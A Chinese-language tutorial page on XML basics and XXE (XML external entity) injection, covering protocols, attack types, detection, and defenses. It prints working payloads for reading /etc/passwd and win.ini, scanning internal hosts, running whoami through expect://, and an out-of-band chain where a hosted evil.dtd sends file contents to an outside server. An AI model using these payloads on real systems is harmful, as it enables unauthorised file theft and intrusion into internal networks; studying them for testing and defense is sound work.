当前位置: 首页 > article >正文

2.5_XXE(XML外部实体注入)

  • XML简介


  1. XML:传输和存储数据的数据格式;

  2. XML 文档结构(组成):XML 声明,DTD 文档类型定义,ELEMENT 文档元素

    <!-- XML声明 --> 
    <?xml version="1.0" standalone="no" ?>  <!--xml文档属性--> <!--standalone="yes" 表示内部DTD,no表示外部DTD(默认)-->
    
    <!-- DTD(文档类型定义):定义元素属性和顺序 --> <!--DOCTYPE 定义标签-->  <!--ELEMENT 定义元素--> <!--ENTITY 定义实体-->
    <!DOCTYPE person [           		<!--根元素(必须存在),自定义标签名(person)成对出现,且区分大小写-->
    <!ELEMENT person(name,age,country)> 	<!--声明person元素有3个元素-->
    <!ELEMENT name(#PCDATA)>		    <!--声明name为"#PCDATA"类型--> 	<!--"#PCDATA"类型可被解析-->
    <!ELEMENT age(#CDATA)>			    <!--声明age为"#CDATA"类型--> 	<!--"#CDATA"类型不可被解析-->
    <!ELEMENT country(#PCDATA)>		    <!--声明country为"#PCDATA"类型-->
    <!ELEMENT sss ANY>			    <!--ANY 表示可以包含任意元素-->
                        			    <!--重点: 参数实体 和 外部实体 (ENTITY)-->
    <!ENTITY % address SYSTEM "address.txt"><!--声明外部参数实体:声明实体内容在XML文档外--> <!--实体相当于常量,参数实体相当于变量-->
                                        	<!--外部[参数]实体格式:<!ENTITY [%] 实体名称 SYSTEM/PUBLIC "外部DTD的资源地址">-->
                       			    <!--例:<!ENTITY % remote SYSTEM "http://121.40.24.5:8000/evil.dtd"> -->
                       			
    <!ENTITY % name "小明">			    <!--声明内部参数实体:声明实体内容("小明")在XML文档中-->  
                        			    <!--内部[参数]实体格式:<!ENTITY [%] 实体名称  "实体值">--> 
    ]>  
    
    <!--文档元素-->
    <person>
    <name>&name;</name>
    <age>1</age>
    <country>China</country>
    <sss>
        <name>&name;</name>			<!--sss接收"小明"-->
    </sss>
    </person>
  3. 外部引用支持的协议(通用:file,ftp,http

    PHPJAVA.NETlibxml2
    1. file
    2. ftp
    3. http
    4. php
    5. data
    6. glob
    7. phar
    8. compress.zlib
    9. compress.bzip2
    1. file
    2. ftp
    3. http
    4. jar
    5. https
    6. gopher
    7. netdoc
    8. mailto
    1. file
    2. ftp
    3. http
    4. https
    1. file
    2. ftp
    3. http

  • XXE简介


  1. XXE:外部实体注入漏洞。由于XML解析器允许外部实体的引用,导致攻击者可以对其进行攻击;

  2. 原理:XML解析器允许外部实体的引用;

  3. 危害(利用方式):
    1). 扫描内网端口(http);
    2). 攻击内网网站(http);
    3). 任意文件读取(file,php);
    4). 命令执行(expect);

  4. XXE 类型(分类)

    分类

    利用方式

    有回显

    直接利用即可

    <!--判断是否存在XXE漏洞,返回XXE则存在-->
    <?xml version = "1.0"?>
    <!DOCTYPE a [<!ENTITY b "XXE">]><c>&b;</c>
    
    
    
    <!--扫描内网端口IP-->
    <!--如果端口开放,服务器将返回相应的HTTP响应,否则可能超时或返回错误。-->
    <!DOCTYPE test [
    <!ENTITY xxe SYSTEM "http://192.168.1.1:80" >]>
    <root>
    <name>&xxe;</name>
    </root>
    
    
    
    <!--攻击内网网站-->
    <!--如果内网中的 192.168.1.2 存在,并且 /admin 路径没有适当的访问控制,XXE攻击可能会成功访问该页面。-->
    <!DOCTYPE test [
    <!ENTITY xxe SYSTEM "http://192.168.1.2/admin" >]>
    <root>
    <name>&xxe;</name>
    </root>
    
    
    
    
    
    <!--任意文件读取-->
    <!--file协议 查看文件-->
    <?xml version="1.0"?>
    <!DOCTYPE a[
    <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
    <a>&xxe;</a>
    
    <!--php协议 查看文件,并将其转换为Base64编码-->
    <!DOCTYPE test [
    <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd" >]>
    <root>
    <name>&xxe;</name>
    </root>
    
    
    
    
    <!--命令执行-->
    <?xml version ="1.0"?>
    <!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "expect://whoami">
    
    <x>&xxe;</x>
    
    无回显

    通过 DNSlog 检测,http 日志外带;

    <!--无回显DNSLOG检测-->
    <?xml version="1.0"?>
    <!DOCTYPE a [ 
    <!ENTITY % xxe  SYSTEM "http://johmvd.dnslog.cn" > 
    %xxe;
    ]>
    
    <!--无回显HTTP日志外带-->
    # VPS: 
    # 启动服务:python -m SimpleHTTPServer   或   python -m http.server
    # 上传evil.dtd,文件内容:
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
    <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.1.1:8000?p=%file;'>">
    
    # Brup payload:
    <!DOCTYPE convert [
    <!ENTITY % remote SYSTEM "http://192.168.1.1:8000/evil.dtd">
    
    %remote;
    %int;
    %send;
    ]>
  5. XXE防御方式:
    1). 禁用 外部实体(system,public);
    2). 过滤 用户输入;
    3). 升级 libxml 组件;

  6. 如何挖掘XXE漏洞:
    1).寻找能够识别 XML 语句的功能点,或是数据包类型是 application/xml 的;
         ①. 功能点提交的语句是 XML ;
         ②. 功能点提交的语句是 Json  ,但改为 XML 后可用的 ;

  7. XXE验证方式:
    1). 首先,判断目标是否接收 XML 类型数据,如果是 JSON 数据类型,可以将数据改为 XML 数据格式;
         ①. 例: burp抓包中包含 :username=admin $ pass=123456;   
         ②. 将其改为 <username>admin</username><pass>123456</pass>
    2). 其次,如果能够正常接收,则可以继续判断有无回显做进一步测试;

  8. XXE引用外部实体的关键字:system,public ;

  9. XXE利用的协议:fileftphttpphpdata等等;

  • 免责声明


  1. 本专栏内容仅供参考,不构成任何投资、学习或专业建议。读者在参考本专栏内容时,应结合自身实际情况,谨慎作出决策。

  2. 本专栏作者及发布平台尽力确保内容的准确性和可靠性,但无法保证内容的绝对正确。对于因使用本专栏内容而导致的任何损失,作者及发布平台概不负责。

  3. 本专栏部分内容来源于网络,版权归原作者所有。如有侵权,请及时联系我们,我们将尽快予以处理。

  4. 读者在阅读本专栏内容时,应遵守相关法律法规,不得将内容用于非法用途。如因读者行为导致不良后果,作者及发布平台不承担任何责任。

  5. 本免责声明适用于本专栏所有内容,包括文字、图片、音频、视频等。读者在阅读本专栏内容时,视为已接受本免责声明。

  6. 作者及发布平台保留对本免责声明的解释权和修改权,如有变更,将第一时间在本专栏页面进行公告。读者继续使用本专栏内容,视为已同意变更后的免责声明。

敬请广大读者谅解。如有疑问,请联系我们。谢谢!


http://www.kler.cn/a/389775.html

相关文章:

  • 实验一:自建Docker注册中心
  • 软件测试项目实战
  • Java程序中如何输入数据
  • Vim9 语法高亮syntax 在指定的缓冲区和窗口执行命令
  • mysql 实现分库分表之 --- 基于 MyCAT 的分片策略详解
  • GitLab实现 HTTP 访问和 SMTP 邮件发送
  • 杨辉三角-一维数组与二维数组解法
  • 图片搜索引擎,来快速实现一个高性能的本地图片搜索引擎
  • Ansys EMC Plus:以 Touchstone 格式计算和导出 S 参数
  • Web3推动社交媒体的去中心化转型:挑战与机遇
  • FFmpeg —— 通过AES-CTR方式对视频加密解密(详细介绍通过FFmpeg指令、代码方式进行加密解码,附源码)
  • Information Server 中共享开源服务中 kafka 的__consumer_offsets目录过大清理
  • 第二周训练
  • 计算机网络系列课程《网络解释》
  • 【力扣】05最长的回文子串
  • 【C++ 算法进阶】算法提升十四
  • Python之魔术方法笔记
  • Spring Boot集成SQL Server快速入门Demo
  • jsmind 思维导出 vue 示例
  • ArcGIS从Excel表格文件导入XY数据并定义坐标系与投影的方法
  • Rancher的安装
  • JS禁用鼠标滚动条功能且滚动条不消失教程
  • 使用NVIDIA GPU加速FFmpeg视频压制:完全指南
  • thinkphp自定义命令行+宝塔面板Shell脚本实现定时任务
  • python的负数索引理解
  • 【go从零单排】Closing Channels通道关闭、Range over Channels